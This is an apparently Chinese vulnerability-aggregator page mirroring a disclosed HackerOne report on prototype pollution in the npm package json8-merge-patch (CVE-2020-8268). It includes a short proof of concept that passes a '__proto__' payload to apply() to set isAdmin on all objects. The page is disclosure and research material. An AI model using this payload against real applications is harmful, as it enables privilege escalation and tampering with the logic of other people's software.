POJIA破甲
地图 / [json8-merge-patch] Prototype Pollution

[json8-merge-patch] Prototype Pollution

业务逻辑 / Modification of Assumed-Immutable Data (MAID) / #980649

厂商
Node.js third-party modules
严重程度
中危 · CVSS 7.3
赏金
—
弱点
Modification of Assumed-Immutable Data (MAID)
研究员
@gkmr
披露日期
2020-10-18
资产
json8-merge-patch
CVE
CVE-2020-8268

该报告还没有中文解读。

原文摘录

摘自原文(1508 字符中的一小部分)
I would like to report a `Prototype Pollution` vulnerability in `json8-merge-patch` The `apply` function fails to restrict access to prototypes of objects, allowing for modification of prototype behavior.
原文中的代码
let json8mergepatch = require("json8-merge-patch");
var obj = {}
console.log("Before : " + obj.isAdmin);
json8mergepatch.apply(obj, JSON.parse('{ "__proto__": { "isAdmin": true }}'));
console.log("After : " + obj.isAdmin);

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Node.js third-party modules 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @gkmr · 版权归作者与 Node.js third-party modules 所有

同类报告

Changing the 2FA secret key and backup codes without knowing the 2FA OTPHackerOne · 2021-05-06property-expr - Prototype pollutionNode.js third-party modules · 2020-09-24Editing Pentest Summary Report Answers After Submitting ThemHackerOne · 2021-05-06Prototype pollution via console.table propertiesNode.js · 2022-01-11Changes to data in a CVE request after draft via GraphQL queryHackerOne · 2020-05-15[nested-property] Prototype PollutionNode.js third-party modules · 2020-10-27